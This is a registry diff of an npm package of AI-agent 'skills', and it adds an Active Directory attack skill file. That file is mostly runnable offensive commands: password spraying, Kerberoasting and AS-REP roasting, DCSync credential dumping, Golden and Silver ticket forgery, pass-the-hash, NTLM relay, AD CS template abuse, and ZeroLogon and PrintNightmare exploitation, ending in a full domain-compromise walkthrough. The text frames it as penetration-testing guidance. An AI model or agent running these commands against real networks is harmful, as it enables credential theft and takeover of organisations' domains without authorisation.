@namch/agent-assistant 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +114 -522
- package/agents/backend-engineer.md +0 -8
- package/agents/brainstormer.md +0 -6
- package/agents/business-analyst.md +0 -5
- package/agents/database-architect.md +0 -6
- package/agents/debugger.md +0 -6
- package/agents/designer.md +0 -5
- package/agents/devops-engineer.md +0 -7
- package/agents/docs-manager.md +0 -6
- package/agents/frontend-engineer.md +0 -7
- package/agents/game-engineer.md +0 -7
- package/agents/mobile-engineer.md +0 -7
- package/agents/performance-engineer.md +0 -7
- package/agents/planner.md +0 -6
- package/agents/project-manager.md +0 -6
- package/agents/researcher.md +0 -5
- package/agents/reviewer.md +0 -6
- package/agents/scouter.md +0 -6
- package/agents/security-engineer.md +0 -7
- package/agents/tech-lead.md +0 -7
- package/agents/tester.md +0 -5
- package/cli/README.md +19 -10
- package/documents/business/business-features.md +1 -1
- package/documents/business/business-prd.md +4 -4
- package/documents/knowledge-architecture.md +1 -1
- package/documents/knowledge-domain.md +1 -1
- package/documents/knowledge-overview.md +14 -29
- package/documents/knowledge-source-base.md +14 -14
- package/package.json +1 -1
- package/rules/QUICK-REFERENCE.md +4 -1
- package/rules/SKILL-DISCOVERY.md +37 -14
- package/skills/active-directory-attacks/SKILL.md +383 -0
- package/skills/active-directory-attacks/references/advanced-attacks.md +382 -0
- package/skills/agent-evaluation/SKILL.md +64 -0
- package/skills/agent-memory-mcp/SKILL.md +82 -0
- package/skills/agent-memory-systems/SKILL.md +67 -0
- package/skills/agent-tool-builder/SKILL.md +53 -0
- package/skills/ai-agents-architect/SKILL.md +90 -0
- package/skills/ai-product/SKILL.md +54 -0
- package/skills/ai-wrapper-product/SKILL.md +273 -0
- package/skills/api-documentation-generator/SKILL.md +484 -0
- package/skills/api-fuzzing-bug-bounty/SKILL.md +433 -0
- package/skills/api-security-best-practices/SKILL.md +907 -0
- package/skills/autonomous-agent-patterns/SKILL.md +761 -0
- package/skills/autonomous-agents/SKILL.md +68 -0
- package/skills/aws-penetration-testing/SKILL.md +405 -0
- package/skills/aws-penetration-testing/references/advanced-aws-pentesting.md +469 -0
- package/skills/azure-functions/SKILL.md +42 -0
- package/skills/backend-dev-guidelines/SKILL.md +342 -0
- package/skills/backend-dev-guidelines/resources/architecture-overview.md +451 -0
- package/skills/backend-dev-guidelines/resources/async-and-errors.md +307 -0
- package/skills/backend-dev-guidelines/resources/complete-examples.md +638 -0
- package/skills/backend-dev-guidelines/resources/configuration.md +275 -0
- package/skills/backend-dev-guidelines/resources/database-patterns.md +224 -0
- package/skills/backend-dev-guidelines/resources/middleware-guide.md +213 -0
- package/skills/backend-dev-guidelines/resources/routing-and-controllers.md +756 -0
- package/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md +336 -0
- package/skills/backend-dev-guidelines/resources/services-and-repositories.md +789 -0
- package/skills/backend-dev-guidelines/resources/testing-guide.md +235 -0
- package/skills/backend-dev-guidelines/resources/validation-patterns.md +754 -0
- package/skills/broken-authentication/SKILL.md +476 -0
- package/skills/bullmq-specialist/SKILL.md +57 -0
- package/skills/bun-development/SKILL.md +691 -0
- package/skills/burp-suite-testing/SKILL.md +380 -0
- package/skills/cloud-penetration-testing/SKILL.md +501 -0
- package/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md +318 -0
- package/skills/computer-use-agents/SKILL.md +315 -0
- package/skills/content-creator/SKILL.md +248 -0
- package/skills/content-creator/assets/content_calendar_template.md +99 -0
- package/skills/content-creator/references/brand_guidelines.md +199 -0
- package/skills/content-creator/references/content_frameworks.md +534 -0
- package/skills/content-creator/references/social_media_optimization.md +317 -0
- package/skills/content-creator/scripts/brand_voice_analyzer.py +185 -0
- package/skills/content-creator/scripts/seo_optimizer.py +419 -0
- package/skills/context-window-management/SKILL.md +53 -0
- package/skills/conversation-memory/SKILL.md +61 -0
- package/skills/copy-editing/SKILL.md +439 -0
- package/skills/copywriting/SKILL.md +225 -0
- package/skills/crewai/SKILL.md +243 -0
- package/skills/discord-bot-architect/SKILL.md +277 -0
- package/skills/dispatching-parallel-agents/SKILL.md +180 -0
- package/skills/email-sequence/SKILL.md +925 -0
- package/skills/email-systems/SKILL.md +54 -0
- package/skills/ethical-hacking-methodology/SKILL.md +466 -0
- package/skills/executing-plans/SKILL.md +76 -0
- package/skills/file-path-traversal/SKILL.md +486 -0
- package/skills/finishing-a-development-branch/SKILL.md +200 -0
- package/skills/frontend-dev-guidelines/SKILL.md +359 -0
- package/skills/frontend-dev-guidelines/resources/common-patterns.md +331 -0
- package/skills/frontend-dev-guidelines/resources/complete-examples.md +872 -0
- package/skills/frontend-dev-guidelines/resources/component-patterns.md +502 -0
- package/skills/frontend-dev-guidelines/resources/data-fetching.md +767 -0
- package/skills/frontend-dev-guidelines/resources/file-organization.md +502 -0
- package/skills/frontend-dev-guidelines/resources/loading-and-error-states.md +501 -0
- package/skills/frontend-dev-guidelines/resources/performance.md +406 -0
- package/skills/frontend-dev-guidelines/resources/routing-guide.md +364 -0
- package/skills/frontend-dev-guidelines/resources/styling-guide.md +428 -0
- package/skills/frontend-dev-guidelines/resources/typescript-standards.md +418 -0
- package/skills/gcp-cloud-run/SKILL.md +288 -0
- package/skills/git-pushing/SKILL.md +33 -0
- package/skills/git-pushing/scripts/smart_commit.sh +19 -0
- package/skills/github-workflow-automation/SKILL.md +846 -0
- package/skills/html-injection-testing/SKILL.md +498 -0
- package/skills/idor-testing/SKILL.md +442 -0
- package/skills/inngest/SKILL.md +55 -0
- package/skills/javascript-mastery/SKILL.md +645 -0
- package/skills/kaizen/SKILL.md +730 -0
- package/skills/langfuse/SKILL.md +238 -0
- package/skills/langgraph/SKILL.md +287 -0
- package/skills/linux-privilege-escalation/SKILL.md +504 -0
- package/skills/llm-app-patterns/SKILL.md +760 -0
- package/skills/metasploit-framework/SKILL.md +478 -0
- package/skills/multi-agent-brainstorming/SKILL.md +256 -0
- package/skills/neon-postgres/SKILL.md +56 -0
- package/skills/nextjs-supabase-auth/SKILL.md +56 -0
- package/skills/nosql-expert/SKILL.md +111 -0
- package/skills/pentest-checklist/SKILL.md +334 -0
- package/skills/pentest-commands/SKILL.md +438 -0
- package/skills/plaid-fintech/SKILL.md +50 -0
- package/skills/planning-with-files/SKILL.md +211 -0
- package/skills/planning-with-files/examples.md +202 -0
- package/skills/planning-with-files/reference.md +218 -0
- package/skills/planning-with-files/scripts/check-complete.sh +44 -0
- package/skills/planning-with-files/scripts/init-session.sh +120 -0
- package/skills/planning-with-files/templates/findings.md +95 -0
- package/skills/planning-with-files/templates/progress.md +114 -0
- package/skills/planning-with-files/templates/task_plan.md +132 -0
- package/skills/privilege-escalation-methods/SKILL.md +333 -0
- package/skills/production-code-audit/SKILL.md +540 -0
- package/skills/prompt-caching/SKILL.md +61 -0
- package/skills/prompt-engineering/SKILL.md +171 -0
- package/skills/prompt-library/SKILL.md +322 -0
- package/skills/rag-engineer/SKILL.md +90 -0
- package/skills/rag-implementation/SKILL.md +63 -0
- package/skills/react-ui-patterns/SKILL.md +289 -0
- package/skills/red-team-tools/SKILL.md +310 -0
- package/skills/scanning-tools/SKILL.md +589 -0
- package/skills/shodan-reconnaissance/SKILL.md +503 -0
- package/skills/slack-bot-builder/SKILL.md +264 -0
- package/skills/smtp-penetration-testing/SKILL.md +500 -0
- package/skills/social-content/SKILL.md +807 -0
- package/skills/software-architecture/SKILL.md +75 -0
- package/skills/sql-injection-testing/SKILL.md +448 -0
- package/skills/sqlmap-database-pentesting/SKILL.md +400 -0
- package/skills/ssh-penetration-testing/SKILL.md +488 -0
- package/skills/stripe-integration/SKILL.md +69 -0
- package/skills/subagent-driven-development/SKILL.md +240 -0
- package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +20 -0
- package/skills/subagent-driven-development/implementer-prompt.md +78 -0
- package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
- package/skills/tavily-web/SKILL.md +36 -0
- package/skills/telegram-bot-builder/SKILL.md +254 -0
- package/skills/test-driven-development/SKILL.md +371 -0
- package/skills/test-driven-development/testing-anti-patterns.md +299 -0
- package/skills/test-fixing/SKILL.md +119 -0
- package/skills/top-web-vulnerabilities/SKILL.md +543 -0
- package/skills/trigger-dev/SKILL.md +67 -0
- package/skills/twilio-communications/SKILL.md +295 -0
- package/skills/upstash-qstash/SKILL.md +68 -0
- package/skills/verification-before-completion/SKILL.md +139 -0
- package/skills/voice-agents/SKILL.md +68 -0
- package/skills/voice-ai-development/SKILL.md +302 -0
- package/skills/windows-privilege-escalation/SKILL.md +496 -0
- package/skills/wireshark-analysis/SKILL.md +497 -0
- package/skills/wordpress-penetration-testing/SKILL.md +485 -0
- package/skills/workflow-automation/SKILL.md +68 -0
- package/skills/xss-html-injection/SKILL.md +499 -0
- package/skills/zapier-make-patterns/SKILL.md +67 -0
package/rules/SKILL-DISCOVERY.md
CHANGED
|
@@ -2,7 +2,7 @@
|
|
|
2
2
|
|
|
3
3
|
> **Purpose**: Runtime resolution of skills for agents using the Matrix Metadata system.
|
|
4
4
|
> **Source**: `~/.{TOOL}/skills/agent-assistant/matrix-skills/` (distributed by domain)
|
|
5
|
-
> **Total Skills**:
|
|
5
|
+
> **Total Skills**: 310 skills across 19 domains
|
|
6
6
|
|
|
7
7
|
---
|
|
8
8
|
|
|
@@ -15,24 +15,24 @@ The Skill Discovery Protocol replaces hardcoded skill lists in agent files with
|
|
|
15
15
|
```
|
|
16
16
|
matrix-skills/
|
|
17
17
|
├── _index.yaml # Registry, agent profiles, resolution rules
|
|
18
|
-
├── backend.yaml #
|
|
19
|
-
├── frontend.yaml #
|
|
18
|
+
├── backend.yaml # 32 skills
|
|
19
|
+
├── frontend.yaml # 22 skills
|
|
20
20
|
├── architecture.yaml # 9 skills
|
|
21
|
-
├── quality.yaml #
|
|
22
|
-
├── security.yaml #
|
|
21
|
+
├── quality.yaml # 21 skills
|
|
22
|
+
├── security.yaml # 35 skills
|
|
23
23
|
├── design.yaml # 10 skills
|
|
24
|
-
├── planning.yaml #
|
|
25
|
-
├── devops.yaml #
|
|
24
|
+
├── planning.yaml # 12 skills
|
|
25
|
+
├── devops.yaml # 22 skills
|
|
26
26
|
├── data.yaml # 7 skills
|
|
27
27
|
├── performance.yaml # 1 skill
|
|
28
28
|
├── research.yaml # 11 skills
|
|
29
29
|
├── mobile.yaml # 8 skills
|
|
30
30
|
├── gaming.yaml # 3 skills
|
|
31
31
|
├── management.yaml # 4 skills
|
|
32
|
-
├── ai-ml.yaml #
|
|
32
|
+
├── ai-ml.yaml # 40 skills
|
|
33
33
|
├── cloud.yaml # 11 skills
|
|
34
34
|
├── languages.yaml # 17 skills
|
|
35
|
-
├── tools.yaml #
|
|
35
|
+
├── tools.yaml # 41 skills
|
|
36
36
|
└── mcp.yaml # 8 skills
|
|
37
37
|
```
|
|
38
38
|
|
|
@@ -128,18 +128,24 @@ profile: "backend:execution"
|
|
|
128
128
|
|
|
129
129
|
| Step | Source File | Skills Found |
|
|
130
130
|
|------|-------------|--------------|
|
|
131
|
-
| 1 | backend.yaml | api-patterns, backend-development, microservices-architect |
|
|
131
|
+
| 1 | backend.yaml | api-patterns, backend-development, microservices-architect, backend-dev-guidelines, software-architecture, bun-development, inngest, trigger-dev, stripe-integration |
|
|
132
132
|
| 2 | architecture.yaml | architecture, clean-code |
|
|
133
|
-
| 3 | data.yaml | database-design, sql-pro, prisma-expert |
|
|
134
|
-
| 4 | languages.yaml | typescript-expert, python-patterns |
|
|
133
|
+
| 3 | data.yaml | database-design, sql-pro, prisma-expert, nosql-expert, neon-postgres |
|
|
134
|
+
| 4 | languages.yaml | typescript-expert, python-patterns, javascript-mastery |
|
|
135
|
+
| 5 | ai-ml.yaml | ai-agents-architect, autonomous-agents, llm-app-patterns, rag-engineer, prompt-engineering, crewai, langgraph |
|
|
135
136
|
|
|
136
137
|
**Output (sorted by priority):**
|
|
137
138
|
```
|
|
138
139
|
architecture (10)
|
|
140
|
+
ai-agents-architect (9)
|
|
139
141
|
api-patterns (9)
|
|
140
142
|
database-design (9)
|
|
141
143
|
clean-code (9)
|
|
142
144
|
backend-development (8)
|
|
145
|
+
backend-dev-guidelines (8)
|
|
146
|
+
software-architecture (8)
|
|
147
|
+
llm-app-patterns (8)
|
|
148
|
+
rag-engineer (8)
|
|
143
149
|
typescript-expert (8)
|
|
144
150
|
microservices-architect (8)
|
|
145
151
|
...
|
|
@@ -216,6 +222,21 @@ This enables cross-domain skill sharing without explicit agent declarations.
|
|
|
216
222
|
|
|
217
223
|
---
|
|
218
224
|
|
|
225
|
+
## Agent Files: Profile + Domains Only
|
|
226
|
+
|
|
227
|
+
Agent files **do not** list key skills or domain-file tables. Each agent's Skills section contains only:
|
|
228
|
+
|
|
229
|
+
```markdown
|
|
230
|
+
## ⚡ Skills
|
|
231
|
+
|
|
232
|
+
> **MATRIX DISCOVERY**: Skills auto-injected from domain files in `~/.{TOOL}/skills/agent-assistant/matrix-skills/`
|
|
233
|
+
> Profile: `{domain}:{category}` | Domains: `{inherit_from from _index.yaml}`
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
AI tools resolve skills by reading `~/.{TOOL}/skills/agent-assistant/matrix-skills/_index.yaml` → `agent_profiles.{agent}.inherit_from`, then loading the listed domain files and injecting skills via `relevance_mapping`. **When adding new skills, update only the skill folder and the corresponding matrix-skills domain file; no agent file changes are required.**
|
|
237
|
+
|
|
238
|
+
---
|
|
239
|
+
|
|
219
240
|
## Adding New Skills
|
|
220
241
|
|
|
221
242
|
### Workflow
|
|
@@ -240,7 +261,9 @@ This enables cross-domain skill sharing without explicit agent declarations.
|
|
|
240
261
|
|
|
241
262
|
3. **Update domain skill_count in _index.yaml** (optional but recommended)
|
|
242
263
|
|
|
243
|
-
4. **
|
|
264
|
+
4. **Do not edit agent files** — skills are resolved from matrix-skills by Profile and Domains only.
|
|
265
|
+
|
|
266
|
+
5. **Verify resolution:**
|
|
244
267
|
- Skill appears in target agent's resolved set
|
|
245
268
|
- Priority ordering is correct
|
|
246
269
|
- No conflicts with existing skills
|
|
@@ -322,7 +345,7 @@ The orchestrator never needs to know individual skills—it only needs the agent
|
|
|
322
345
|
|
|
323
346
|
- Resolution: O(D × S) where D=inherited domains, S=skills per domain
|
|
324
347
|
- Typical resolution: < 1ms
|
|
325
|
-
- Total Matrix size: ~
|
|
348
|
+
- Total Matrix size: ~310 skills = ~25KB across all YAML files
|
|
326
349
|
|
|
327
350
|
---
|
|
328
351
|
|
|
@@ -0,0 +1,383 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: Active Directory Attacks
|
|
3
|
+
description: This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
|
|
4
|
+
metadata:
|
|
5
|
+
author: zebbern
|
|
6
|
+
version: "1.1"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# Active Directory Attacks
|
|
10
|
+
|
|
11
|
+
## Purpose
|
|
12
|
+
|
|
13
|
+
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
|
|
14
|
+
|
|
15
|
+
## Inputs/Prerequisites
|
|
16
|
+
|
|
17
|
+
- Kali Linux or Windows attack platform
|
|
18
|
+
- Domain user credentials (for most attacks)
|
|
19
|
+
- Network access to Domain Controller
|
|
20
|
+
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec
|
|
21
|
+
|
|
22
|
+
## Outputs/Deliverables
|
|
23
|
+
|
|
24
|
+
- Domain enumeration data
|
|
25
|
+
- Extracted credentials and hashes
|
|
26
|
+
- Kerberos tickets for impersonation
|
|
27
|
+
- Domain Administrator access
|
|
28
|
+
- Persistent access mechanisms
|
|
29
|
+
|
|
30
|
+
---
|
|
31
|
+
|
|
32
|
+
## Essential Tools
|
|
33
|
+
|
|
34
|
+
| Tool | Purpose |
|
|
35
|
+
|------|---------|
|
|
36
|
+
| BloodHound | AD attack path visualization |
|
|
37
|
+
| Impacket | Python AD attack tools |
|
|
38
|
+
| Mimikatz | Credential extraction |
|
|
39
|
+
| Rubeus | Kerberos attacks |
|
|
40
|
+
| CrackMapExec | Network exploitation |
|
|
41
|
+
| PowerView | AD enumeration |
|
|
42
|
+
| Responder | LLMNR/NBT-NS poisoning |
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Core Workflow
|
|
47
|
+
|
|
48
|
+
### Step 1: Kerberos Clock Sync
|
|
49
|
+
|
|
50
|
+
Kerberos requires clock synchronization (±5 minutes):
|
|
51
|
+
|
|
52
|
+
```bash
|
|
53
|
+
# Detect clock skew
|
|
54
|
+
nmap -sT 10.10.10.10 -p445 --script smb2-time
|
|
55
|
+
|
|
56
|
+
# Fix clock on Linux
|
|
57
|
+
sudo date -s "14 APR 2024 18:25:16"
|
|
58
|
+
|
|
59
|
+
# Fix clock on Windows
|
|
60
|
+
net time /domain /set
|
|
61
|
+
|
|
62
|
+
# Fake clock without changing system time
|
|
63
|
+
faketime -f '+8h' <command>
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Step 2: AD Reconnaissance with BloodHound
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
# Start BloodHound
|
|
70
|
+
neo4j console
|
|
71
|
+
bloodhound --no-sandbox
|
|
72
|
+
|
|
73
|
+
# Collect data with SharpHound
|
|
74
|
+
.\SharpHound.exe -c All
|
|
75
|
+
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
|
|
76
|
+
|
|
77
|
+
# Python collector (from Linux)
|
|
78
|
+
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
### Step 3: PowerView Enumeration
|
|
82
|
+
|
|
83
|
+
```powershell
|
|
84
|
+
# Get domain info
|
|
85
|
+
Get-NetDomain
|
|
86
|
+
Get-DomainSID
|
|
87
|
+
Get-NetDomainController
|
|
88
|
+
|
|
89
|
+
# Enumerate users
|
|
90
|
+
Get-NetUser
|
|
91
|
+
Get-NetUser -SamAccountName targetuser
|
|
92
|
+
Get-UserProperty -Properties pwdlastset
|
|
93
|
+
|
|
94
|
+
# Enumerate groups
|
|
95
|
+
Get-NetGroupMember -GroupName "Domain Admins"
|
|
96
|
+
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
|
|
97
|
+
|
|
98
|
+
# Find local admin access
|
|
99
|
+
Find-LocalAdminAccess -Verbose
|
|
100
|
+
|
|
101
|
+
# User hunting
|
|
102
|
+
Invoke-UserHunter
|
|
103
|
+
Invoke-UserHunter -Stealth
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
---
|
|
107
|
+
|
|
108
|
+
## Credential Attacks
|
|
109
|
+
|
|
110
|
+
### Password Spraying
|
|
111
|
+
|
|
112
|
+
```bash
|
|
113
|
+
# Using kerbrute
|
|
114
|
+
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
|
|
115
|
+
|
|
116
|
+
# Using CrackMapExec
|
|
117
|
+
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
### Kerberoasting
|
|
121
|
+
|
|
122
|
+
Extract service account TGS tickets and crack offline:
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
# Impacket
|
|
126
|
+
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
|
|
127
|
+
|
|
128
|
+
# Rubeus
|
|
129
|
+
.\Rubeus.exe kerberoast /outfile:hashes.txt
|
|
130
|
+
|
|
131
|
+
# CrackMapExec
|
|
132
|
+
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
|
|
133
|
+
|
|
134
|
+
# Crack with hashcat
|
|
135
|
+
hashcat -m 13100 hashes.txt rockyou.txt
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
### AS-REP Roasting
|
|
139
|
+
|
|
140
|
+
Target accounts with "Do not require Kerberos preauthentication":
|
|
141
|
+
|
|
142
|
+
```bash
|
|
143
|
+
# Impacket
|
|
144
|
+
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
|
|
145
|
+
|
|
146
|
+
# Rubeus
|
|
147
|
+
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
|
|
148
|
+
|
|
149
|
+
# Crack with hashcat
|
|
150
|
+
hashcat -m 18200 hashes.txt rockyou.txt
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
### DCSync Attack
|
|
154
|
+
|
|
155
|
+
Extract credentials directly from DC (requires Replicating Directory Changes rights):
|
|
156
|
+
|
|
157
|
+
```bash
|
|
158
|
+
# Impacket
|
|
159
|
+
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
|
|
160
|
+
|
|
161
|
+
# Mimikatz
|
|
162
|
+
lsadump::dcsync /domain:domain.local /user:krbtgt
|
|
163
|
+
lsadump::dcsync /domain:domain.local /user:Administrator
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
## Kerberos Ticket Attacks
|
|
169
|
+
|
|
170
|
+
### Pass-the-Ticket (Golden Ticket)
|
|
171
|
+
|
|
172
|
+
Forge TGT with krbtgt hash for any user:
|
|
173
|
+
|
|
174
|
+
```powershell
|
|
175
|
+
# Get krbtgt hash via DCSync first
|
|
176
|
+
# Mimikatz - Create Golden Ticket
|
|
177
|
+
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
|
|
178
|
+
|
|
179
|
+
# Impacket
|
|
180
|
+
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
|
|
181
|
+
export KRB5CCNAME=Administrator.ccache
|
|
182
|
+
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
### Silver Ticket
|
|
186
|
+
|
|
187
|
+
Forge TGS for specific service:
|
|
188
|
+
|
|
189
|
+
```powershell
|
|
190
|
+
# Mimikatz
|
|
191
|
+
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
### Pass-the-Hash
|
|
195
|
+
|
|
196
|
+
```bash
|
|
197
|
+
# Impacket
|
|
198
|
+
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
|
|
199
|
+
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
|
|
200
|
+
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
|
|
201
|
+
|
|
202
|
+
# CrackMapExec
|
|
203
|
+
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
|
|
204
|
+
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
### OverPass-the-Hash
|
|
208
|
+
|
|
209
|
+
Convert NTLM hash to Kerberos ticket:
|
|
210
|
+
|
|
211
|
+
```bash
|
|
212
|
+
# Impacket
|
|
213
|
+
getTGT.py domain.local/user -hashes :NTHASH
|
|
214
|
+
export KRB5CCNAME=user.ccache
|
|
215
|
+
|
|
216
|
+
# Rubeus
|
|
217
|
+
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
---
|
|
221
|
+
|
|
222
|
+
## NTLM Relay Attacks
|
|
223
|
+
|
|
224
|
+
### Responder + ntlmrelayx
|
|
225
|
+
|
|
226
|
+
```bash
|
|
227
|
+
# Start Responder (disable SMB/HTTP for relay)
|
|
228
|
+
responder -I eth0 -wrf
|
|
229
|
+
|
|
230
|
+
# Start relay
|
|
231
|
+
ntlmrelayx.py -tf targets.txt -smb2support
|
|
232
|
+
|
|
233
|
+
# LDAP relay for delegation attack
|
|
234
|
+
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
|
|
235
|
+
```
|
|
236
|
+
|
|
237
|
+
### SMB Signing Check
|
|
238
|
+
|
|
239
|
+
```bash
|
|
240
|
+
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
|
|
241
|
+
```
|
|
242
|
+
|
|
243
|
+
---
|
|
244
|
+
|
|
245
|
+
## Certificate Services Attacks (AD CS)
|
|
246
|
+
|
|
247
|
+
### ESC1 - Misconfigured Templates
|
|
248
|
+
|
|
249
|
+
```bash
|
|
250
|
+
# Find vulnerable templates
|
|
251
|
+
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
|
|
252
|
+
|
|
253
|
+
# Exploit ESC1
|
|
254
|
+
certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
|
|
255
|
+
|
|
256
|
+
# Authenticate with certificate
|
|
257
|
+
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
### ESC8 - Web Enrollment Relay
|
|
261
|
+
|
|
262
|
+
```bash
|
|
263
|
+
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
## Critical CVEs
|
|
269
|
+
|
|
270
|
+
### ZeroLogon (CVE-2020-1472)
|
|
271
|
+
|
|
272
|
+
```bash
|
|
273
|
+
# Check vulnerability
|
|
274
|
+
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
|
|
275
|
+
|
|
276
|
+
# Exploit
|
|
277
|
+
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
|
|
278
|
+
|
|
279
|
+
# Extract hashes
|
|
280
|
+
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
|
|
281
|
+
|
|
282
|
+
# Restore password (important!)
|
|
283
|
+
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
|
|
284
|
+
```
|
|
285
|
+
|
|
286
|
+
### PrintNightmare (CVE-2021-1675)
|
|
287
|
+
|
|
288
|
+
```bash
|
|
289
|
+
# Check for vulnerability
|
|
290
|
+
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
|
|
291
|
+
|
|
292
|
+
# Exploit (requires hosting malicious DLL)
|
|
293
|
+
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
|
|
294
|
+
```
|
|
295
|
+
|
|
296
|
+
### samAccountName Spoofing (CVE-2021-42278/42287)
|
|
297
|
+
|
|
298
|
+
```bash
|
|
299
|
+
# Automated exploitation
|
|
300
|
+
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
|
|
301
|
+
```
|
|
302
|
+
|
|
303
|
+
---
|
|
304
|
+
|
|
305
|
+
## Quick Reference
|
|
306
|
+
|
|
307
|
+
| Attack | Tool | Command |
|
|
308
|
+
|--------|------|---------|
|
|
309
|
+
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
|
|
310
|
+
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
|
|
311
|
+
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
|
|
312
|
+
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
|
|
313
|
+
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
|
|
314
|
+
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
|
|
315
|
+
|
|
316
|
+
---
|
|
317
|
+
|
|
318
|
+
## Constraints
|
|
319
|
+
|
|
320
|
+
**Must:**
|
|
321
|
+
- Synchronize time with DC before Kerberos attacks
|
|
322
|
+
- Have valid domain credentials for most attacks
|
|
323
|
+
- Document all compromised accounts
|
|
324
|
+
|
|
325
|
+
**Must Not:**
|
|
326
|
+
- Lock out accounts with excessive password spraying
|
|
327
|
+
- Modify production AD objects without approval
|
|
328
|
+
- Leave Golden Tickets without documentation
|
|
329
|
+
|
|
330
|
+
**Should:**
|
|
331
|
+
- Run BloodHound for attack path discovery
|
|
332
|
+
- Check for SMB signing before relay attacks
|
|
333
|
+
- Verify patch levels for CVE exploitation
|
|
334
|
+
|
|
335
|
+
---
|
|
336
|
+
|
|
337
|
+
## Examples
|
|
338
|
+
|
|
339
|
+
### Example 1: Domain Compromise via Kerberoasting
|
|
340
|
+
|
|
341
|
+
```bash
|
|
342
|
+
# 1. Find service accounts with SPNs
|
|
343
|
+
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
|
|
344
|
+
|
|
345
|
+
# 2. Request TGS tickets
|
|
346
|
+
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
|
|
347
|
+
|
|
348
|
+
# 3. Crack tickets
|
|
349
|
+
hashcat -m 13100 tgs.txt rockyou.txt
|
|
350
|
+
|
|
351
|
+
# 4. Use cracked service account
|
|
352
|
+
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
|
|
353
|
+
```
|
|
354
|
+
|
|
355
|
+
